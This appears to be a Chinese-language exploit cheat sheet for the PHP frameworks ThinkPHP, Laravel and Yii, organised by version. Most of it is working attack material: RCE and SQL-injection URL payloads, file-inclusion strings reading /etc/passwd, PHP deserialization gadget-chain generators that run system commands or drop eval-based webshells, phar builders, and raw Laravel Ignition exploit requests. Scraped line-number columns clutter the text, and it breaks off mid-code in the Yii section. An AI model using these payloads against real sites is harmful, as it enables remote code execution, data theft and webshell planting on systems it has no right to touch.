网站识别:https://www.wappalyzer.com/
Exploit Database: https://www.exploit-db.com/
PHPGGC: https://github.com/ambionics/phpggc
对比源码:diff -r DirA DirB
ThinkPHP
版本
关键字:THINK_VERSION
日志
默认形式:如 /202110/11.log
(/年月/日.log)
控制器
驼峰命名法控制器如 M1sakaM1yuu
,在ThinkPHP官方文档中,访问的正确方式应该是index/m1saka_m1yuu/index
,中间使用下划线隔开,但是兼容了index/M1sakaM1yuu/index这样的访问方式,新官方补丁修复后,不允许路由中存在大写字母。
工具
2.x
2.x
RCE
index.php?s=/index/index/name/${phpinfo()}
3.2.x
日志:<domain>/Application/Runtime/Logs/Home/21_04_27.log
通用
SQL注入+文件读取+反序列化
RCE / LFI
如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。
debug模式关
index.php?m=--><?=phpinfo();?>
LFI:
index.php?m=Home&c=Index&a=index&value[filename]=./Application/Runtime/Logs/Home/21_06_30.log
或index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_06_30.log
debug模式开
index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?>
LFI:
index.php?m=Home&c=Index&a=index&value[filename]=./Application/Runtime/Logs/Home/21_06_30.log
或index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_06_30.log
限定条件下参数的收集(替换变量名)
param/name/value/array/arr/info/list/page/menus/var/data/moudle/module
3.2.3
SQL注入
index.php?m=Home&c=Index&a=index2&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1) %23
index.php?username[0]=exp&username[1]==1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1) %23
index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
index.php?m=Home&c=Index&a=sqlvul2&order[updatexml(1,concat(0x3a,user()),1)]
变量覆盖
empty($_content)?include $templateFile:eval('?>'.$_content);
反序列化+SQL注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
namespace Think\Image\Driver;
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
namespace Think\Session\Driver;
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->sessionName=null;
$this->handle= new Model();
}
}
namespace Think;
use Think\Db\Driver\Mysql;
class Model{
protected $pk;
protected $options;
protected $data;
protected $db;
public function __construct(){
$this->options['where']='';
$this->pk='x';
$this->data[$this->pk]=array(
"table"=>"mysql.user where 1=updatexml(1,concat(0x7e,user()),1)#",
"where"=>"1=1"
);
$this->db=new Mysql();
}
}
namespace Think\Db\Driver;
use PDO;
class Mysql{
protected $options ;
protected $config ;
public function __construct(){
$this->options= array(PDO::MYSQL_ATTR_LOCAL_INFILE => true ); // 开启才能读取文件
$this->config= array(
"debug" => 1,
"database" => "mysql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
use Think\Image\Driver\Imagick;
echo base64_encode(serialize(new Imagick()));
5.0.x
通用
文件包含
Thinkphp 多语言功能导致的任意文件包含
?lang=../../../../../public/index
5.0.7<=ver<=5.0.22
未开启强制路由RCE
?s=index/think\config/get&name=database.username
?s=index/think\config/get&name=database.password
?s=index/\think\Lang/load&file=../../test.jpg
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index POST: _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
?s=index POST: _method=__construct&filter[]=system&method=GET&get[]=whoami
<5.0.23
ThinkPHP 5.0.0~5.0.23 Request类任意方法调用导致RCE漏洞分析
RCE
index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
index.php?s=captcha POST: _method=__construct&filter[]=system&method=GET&get[]=whoami
index.php?s=index/index POST: _method=__construct&filter[]=system&method=GET&get[]=whoami
任意文件包含
index.php?s=captcha POST: _method=__construct&method=GET&filter[]=think__include_file&server[]=1&get[]=/etc/passwd
<5.0.12
RCE
index.php?s=index/index POST: _method=__construct&filter[]=system&method=POST&s=whoami
5.0.21-5.0.23
RCE
index.php?s=captcha POST: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
5.0.24
反序列化
生成phar:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
namespace think\process\pipes {
class Windows {
private $files = [];
public function __construct($files)
{
$this->files = [$files];
}
}
}
namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;
function __construct($output, $modelRelation)
{
$this->parent = $output;
$this->append = array("xxx"=>"getError");
$this->error = $modelRelation;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}
namespace think\model\relation{
class HasOne extends OneToOne {
}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}
namespace think\db {
class Query {
protected $model;
function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}
}
}
namespace think\session\driver {
class Memcached
{
protected $handler;
function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}
namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;
function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../../../../../../../../../../var/www/html/',
'data_compress' => false,
];
$this->tag = 'xxx';
}
}
}
namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($window);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}
5.1.x
通用
未开启强制路由RCE
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\request/input?data[]=-1&filter=phpinfo
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\view\driver\Think/display&template=<?php phpinfo();?>
?s=index/\think\view\driver\Think/__call&method=display¶ms[]=<?php system('whoami'); ?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=/index/\think\request/cache&key=1|phpinfo
?s=/index/\think\request/cache&key=ls|system
任意文件删除
存在位置:
\thinkphp\library\think\process\pipes\Windows.php
1
2
3
4
5
6
7
8
9
10
namespace think\process\pipes;
class Pipes {}
class Windows extends Pipes {
private $files = [];
public function __construct() {
$this->files = ['tmp.txt'];
}
}
echo base64_encode(serialize(new Windows()));
文件包含
Thinkphp 多语言功能导致的任意文件包含
?lang=../../../../../public/index
5.1.31
RCE
index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
5.1.38
反序列化
index.php?sss=whoami POST: data=xxxxxx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["sss"=>["calc.exe","calc"]];
$this->data = ["sss"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
6.0.x
通用
反序列化
a.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
namespace think\model\concern;
trait Attribute{
private $data;
private $withAttr;
}
trait ModelEvent{
protected $withEvent;
}
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$func = function(){phpinfo();};
$b=\Opis\Closure\serialize($func);
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
$this->data=['x'=>''];
$c=unserialize($b);
$this->withAttr=['x'=>$c];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
require 'closure/autoload.php';
echo urlencode(serialize(new Pivot(new Pivot())));b.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
namespace think\model\concern;
trait Attribute
{
private $data = ["key" => ["key1" => "whoami"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));文件包含
Thinkphp 多语言功能导致的任意文件包含,版本要求 ThinkPHP v6.0.1 <= v6.0.x <= v6.0.13
?lang=../../../../../public/index
其他
a.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache {
}
namespace think\cache;
use think\cache\Driver;
abstract class Driver {
}
namespace think\cache\driver;
use think\cache\driver;
class File extends Driver {
protected $options = [];
public function __construct() {
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => '',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize'=> ['system']
];
}
}
namespace think\filesystem;
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache {
protected $store;
protected $key;
protected $autosave;
protected $complete;
public function __construct($store) {
$this->autosave = false;
$this->key = "1";
$this->complete = '`sleep 10`';
$this->store = $store;
}
}
use think\cache\driver\file;
$a = new CacheStore(new File());
echo serialize($a);
echo "</br>";
echo urlencode(serialize($a));b.
https://www.heibai.org/1604.html
https://www.cnblogs.com/20175211lyz/p/13639789.html
https://new.qq.com/omn/20200629/20200629A0RG1800.html1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache {
}
namespace think\cache;
use think\cache\Driver;
abstract class Driver {
}
namespace think\cache\driver;
use think\cache\driver;
class File extends Driver {
protected $options = [];
public function __construct() {
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=convert.base64-
decode/resource=./',
'hash_type' => 'md5',
'data_compress' => false,
'tag_prefix' => 'tag:',
'serialize'=> ['trim'] //使用trim去掉[]
];
}
}
namespace think\filesystem;
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache {
protected $store;
protected $key;
protected $autosave;
protected $complete;
public function __construct($store) {
$this->autosave = false;
$this->key = "1";
$this->complete = 'uuuPDw/cGhwIHBocGluZm8oKTtldmFsKCRfR0VUWzFdKTs/PiA=';
$this->store = $store;
}
}
use think\cache\driver\file;
$a = new CacheStore(new File());
echo serialize($a);
echo "</br>";
echo urlencode(serialize($a));c.
https://yq1ng.github.io/z_post/ctfshow-thinkphp%E4%B8%93%E9%A2%98/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28/**
* @Author ying
* @Date 8/20/2021 5:01 PM
* @Version 1.0
*/
namespace League\Flysystem\Cached\Storage {
use League\Flysystem\Adapter\Local;
class Adapter {
protected $autosave = true;
protected $expire = null;
protected $adapter;
protected $file;
public function __construct() {
$this->autosave = false;
$this->expire = '<?php eval($_POST[1]);?>';
$this->adapter = new Local();
$this->file = 'yq1ng.php';
}
}
}
namespace League\Flysystem\Adapter {
class Local {
}
}
namespace {
use League\Flysystem\Cached\Storage\Adapter;
echo urlencode(serialize(new Adapter()));
}
Laravel
版本
vendor/laravel/framework/src/Illuminate/Foundation/Application.php
5.1
5.1.x
反序列化+RCE
a.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
namespace{
use Mockery\Generator\DefinedTargetClass;
class Swift_KeyCache_DiskKeyCache{
private $_keys=['bit'=>array('bit'=>'bit')];
private $_path;
public function __construct($cmd){
$this->_path=new DefinedTargetClass($cmd);
}
}
echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache($argv[1])));
}
namespace Mockery\Generator{
use Faker\ValidGenerator;
class DefinedTargetClass
{
private $rfc;
public function __construct($cmd)
{
$this->rfc=new ValidGenerator($cmd);
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($cmd)
{
$this->default = $cmd;
}
}
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($cmd){
$this->generator=new DefaultGenerator($cmd);
$this->maxRetries=9;
$this->validator='system';
}
}
}b.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;
class Swift_KeyCache_DiskKeyCache{
private $_keys=['bit'=>array('bit'=>'bit')];
private $_path;
public function __construct($cmd){
$this->_path=new Deprecated($cmd);
}
}
echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache($argv[1])));
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Illuminate\Database\DatabaseManager;
abstract class BaseTag{
protected $description;
}
final class Deprecated extends BaseTag{
public function __construct($cmd){
$this->description=new DatabaseManager($cmd);
}
}
}
namespace Illuminate\Database{
class DatabaseManager{
protected $app;
protected $extensions ;
public function __construct($cmd)
{
$this->app['config']['database.default']=$cmd;
$this->app['config']['database.connections']=array($cmd=>'system');
$this->extensions[$cmd]='call_user_func';
}
}
}c.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
namespace{
use Prophecy\Argument\Token\ObjectStateToken;
class Swift_KeyCache_DiskKeyCache{
private $_keys=['bit'=>array('bit'=>'bit')];
private $_path;
public function __construct($cmd){
$this->_path=new ObjectStateToken($cmd);
}
}
echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache($argv[1])));
}
namespace Prophecy\Argument\Token{
use Mockery\Generator\MockDefinition;
use Illuminate\Validation\Validator;
class ObjectStateToken{
private $name;
private $value;
private $util;
public function __construct($cmd){
$this->name='bit';
$this->value=new MockDefinition($cmd);
$this->util=new Validator();
}
}
}
namespace Illuminate\Validation{
use Faker\DefaultGenerator;
class Validator{
protected $container;
protected $extensions = [];
public function __construct(){
$this->extensions['y']='xxx@load';
$this->container=new DefaultGenerator();
}
}
}
namespace Faker{
use Mockery\Loader\EvalLoader;
class DefaultGenerator
{
protected $default;
public function __construct()
{
$this->default = new EvalLoader();
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Mockery\Generator{
use Illuminate\Session\Store;
class MockDefinition{
protected $config;
protected $code;
public function __construct($cmd){
$this->config=new Store();
$this->code=$cmd;
}
}
}
namespace Illuminate\Session{
class Store{
protected $name='bit';//类不存在就行
}
}
5.4.x
5.4.30
反序列化(5.4-5.8)
a.
Illuminate/Support/Manager.php::__call -> driver() -> Illuminate/Notifications/ChannelManager.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
namespace Illuminate\Broadcasting
{
use Illuminate\Notifications\ChannelManager;
class PendingBroadcast
{
protected $events;
public function __construct($cmd)
{
$this->events = new ChannelManager($cmd);
}
}
echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}
namespace Illuminate\Notifications
{
class ChannelManager
{
protected $app;
protected $defaultChannel;
protected $customCreators;
public function __construct($cmd)
{
$this->app = $cmd;
$this->customCreators = ['x' => 'system'];
$this->defaultChannel = 'x';
}
}
}b.
Illuminate/Validation/Validator.php::__call
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
namespace Illuminate\Broadcasting
{
use Illuminate\Validation\Validator;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($cmd)
{
$this->events = new Validator();
$this->event=$cmd;
}
}
echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}
namespace Illuminate\Validation
{
class Validator
{
public $extensions = [''=>'system'];
}
}c.
Illuminate/Events/Dispatcher.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
namespace Illuminate\Broadcasting
{
use Illuminate\Events\Dispatcher;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($cmd)
{
$this->events = new Dispatcher($cmd);
$this->event=$cmd;
}
}
echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}
namespace Illuminate\Events
{
class Dispatcher
{
protected $listeners;
public function __construct($event){
$this->listeners=[$event=>['system']];
}
}
}d.
Illuminate/Bus/Dispatcher.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
namespace Illuminate\Bus{
class Dispatcher{
protected $queueResolver;
public function __construct(){
$this->queueResolver = "system";
}
}
}
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
class BroadcastEvent{
public $connection;
public function __construct($cmd){
$this->connection = $cmd;
}
}
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($event){
$this->events = new Dispatcher();
$this->event = new BroadcastEvent($event);
}
}
echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}e.
Mockery/Loader/EvalLoader.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
namespace Illuminate\Bus{
use Mockery\Loader\EvalLoader;
class Dispatcher{
protected $queueResolver;
public function __construct(){
$this->queueResolver = [new EvalLoader(),'load'];
}
}
}
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Mockery\Generator\MockDefinition;
class BroadcastEvent{
public $connection;
public function __construct($code){
$this->connection = new MockDefinition($code);
}
}
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($event){
$this->events = new Dispatcher();
$this->event = new BroadcastEvent($event);
}
}
echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Mockery\Generator{
use Illuminate\Session\Store;
class MockDefinition{
protected $config;
protected $code;
public function __construct($code){
$this->config=new Store();
$this->code=$code;
}
}
}
namespace Illuminate\Session{
class Store{
protected $name='x';//类不存在
}
}
5.7.x
5.7.29
反序列化+RCE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58//不用PendingCommand.php
namespace Symfony\Component\Routing\Loader\Configurator {
class ImportConfigurator
{
private $parent;
public function __construct($parent)
{
$this->parent = $parent;
}
}
}
namespace Faker {
class DefaultGenerator{
protected $default;
public function __construct($default)
{
$this->default = $default;
}
public function __call($method, $attributes)
{
return $this->default;
}
}
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($validator,$generator)
{
$this->generator = new DefaultGenerator($generator);
$this->validator = $validator;
$this->maxRetries = 1;
}
public function __call($name, $arguments)
{
$i = 0;
do {
$res = call_user_func_array(array($this->generator, $name), $arguments);
$i++;
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res));
return $res;
}
}
}
namespace {
$a = new Faker\ValidGenerator("system","cat /flag");
$b = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($a);
echo urlencode(serialize($b));
}
7.x
7.30
反序列化+RCE
a.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
namespace Illuminate\Routing{
use Illuminate\Validation\Validator;
class PendingResourceRegistration
{
protected $registrar;
protected $registered = false;
protected $name='call_user_func';
protected $controller='system';
protected $options;
public function __construct($cmd){
$this->registrar=new Validator();
$this->options=$cmd;
}
}
echo urlencode(serialize(new PendingResourceRegistration($argv[1])));
}
namespace Illuminate\Validation{
class Validator{
public $extensions = [];
public function __construct(){
$this->extensions['']='call_user_func';
}
}
}b.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
namespace Illuminate\Routing{
use Illuminate\View\InvokableComponentVariable;
class PendingResourceRegistration
{
protected $registrar;
protected $registered = false;
public function __construct(){
$this->registrar=new InvokableComponentVariable();
}
}
echo urlencode(serialize(new PendingResourceRegistration()));
}
namespace Illuminate\View{
use PHPUnit\Framework\MockObject\MockClass;
class InvokableComponentVariable{
protected $callable;
public function __construct(){
$this->callable=array(new MockClass(),'generate');
}
}
}
namespace PHPUnit\Framework\MockObject{
class MockClass{
private $classCode;
private $mockName;
private $configurableMethods;
public function __construct(){
$this->classCode='eval($_POST["cmd"]);';
$this->mockName='bit';
$this->configurableMethods='bit';
}
}
}
8.x
8.26.1
RCE
当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
1
2
3
4
5
6
7
8
9
10
11POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.160.130:8077
Content-Type: application/json
Content-Length: 168
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "xxxxxxx"
}
}页面出现了Ignition的报错,说明漏洞存在,且开启了debug模式。
使用如下数据包清除日志文件:
1
2
3
4
5
6
7
8
9
10
11POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.160.130:8077
Content-Type: application/json
Content-Length: 328
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
9.x
9.1.8
反序列化+RCE
https://github.com/1nhann/vulns/issues
a.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
namespace Illuminate\Contracts\Queue{
interface ShouldQueue
{
}
}
namespace Illuminate\Bus{
class Dispatcher{
protected $container;
protected $pipeline;
protected $pipes = [];
protected $handlers = [];
protected $queueResolver;
function __construct()
{
$this->queueResolver = "system";
}
}
}
namespace Illuminate\Broadcasting{
use Illuminate\Contracts\Queue\ShouldQueue;
class BroadcastEvent implements ShouldQueue {
function __construct()
{
}
}
class PendingBroadcast{
protected $events;
protected $event;
function __construct()
{
$this->event = new BroadcastEvent();
$this->event->connection = "whoami";
$this->events = new \Illuminate\Bus\Dispatcher();
}
}
}
namespace{
$a = new \Illuminate\Broadcasting\PendingBroadcast();
echo base64_encode(serialize($a));
}b.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
namespace Faker{
class Generator{
protected $providers = [];
protected $formatters = [];
function __construct()
{
$this->formatter = "register";
$this->formatters = 9999;
}
}
}
namespace Illuminate\Routing{
class PendingResourceRegistration{
protected $registrar;
protected $name;
protected $controller;
protected $options = [];
protected $registered = false;
function __construct()
{
$this->registrar = new \Faker\Generator();
$this->name = "d:/var/www/untitiled/public/1.php";
$this->controller = '<?php phpinfo();?>';
$this->options = 8;
}
}
}
namespace Symfony\Component\Mime\Part{
abstract class AbstractPart
{
private $headers = null;
}
class SMimePart extends AbstractPart{
protected $_headers;
public $inhann;
function __construct(){
$this->_headers = ["register"=>"file_put_contents"];
$this->inhann = new \Illuminate\Routing\PendingResourceRegistration();
}
}
}
namespace{
$a = new \Symfony\Component\Mime\Part\SMimePart();
$ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($a));
echo base64_encode(str_replace("i:9999","R:2",$ser));
}c.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
namespace GuzzleHttp\Cookie{
class SetCookie
{
private static $defaults = [
'Name' => null,
'Value' => null,
'Domain' => null,
'Path' => '/',
'Max-Age' => null,
'Expires' => null,
'Secure' => false,
'Discard' => false,
'HttpOnly' => false
];
function __construct()
{
$this->data['Expires'] = '<?php phpinfo();?>';
$this->data['Discard'] = 0;
}
}
class CookieJar{
private $cookies = [];
private $strictMode;
function __construct()
{
$this->cookies[] = new SetCookie();
}
}
class FileCookieJar extends CookieJar{
private $filename;
private $storeSessionCookies;
function __construct()
{
parent::__construct();
$this->filename = "d:/var/www/untitled/public/shell.php";
$this->storeSessionCookies = true;
}
}
}
namespace{
$a = new \GuzzleHttp\Cookie\FileCookieJar();
echo base64_encode(serialize($a));
}d.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
namespace Faker{
class Generator{
protected $providers = [];
protected $formatters = [];
function __construct()
{
$this->formatter = "dispatch";
$this->formatters = 9999;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
public function __construct()
{
$this->event = "calc.exe";
$this->events = new \Faker\Generator();
}
}
}
namespace Symfony\Component\Mime\Part{
abstract class AbstractPart
{
private $headers = null;
}
class SMimePart extends AbstractPart{
protected $_headers;
public $inhann;
function __construct(){
$this->_headers = ["dispatch"=>"system"];
$this->inhann = new \Illuminate\Broadcasting\PendingBroadcast();
}
}
}
namespace{
$a = new \Symfony\Component\Mime\Part\SMimePart();
$ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($a));
echo base64_encode(str_replace("i:9999","R:2",$ser));
}
Yii
版本
a. 在controllers
目录新建TestController.php
控制器,打开TestController.php
文件输入<?php echo Yii::getVersion(); ?>
,访问Yii项目中的test
控制器下的index
:index.php?r=test
b. /vendor/yiisoft/yii2/BaseYii.php
2.0.x
<2.0.37
反序列化
a.
yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()
b.
yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\CreateAction::run()
c.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'assert';
$this->id = 'file_put_contents("1.php","<?php eval(\$_POST[0]);?>");exit();';
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
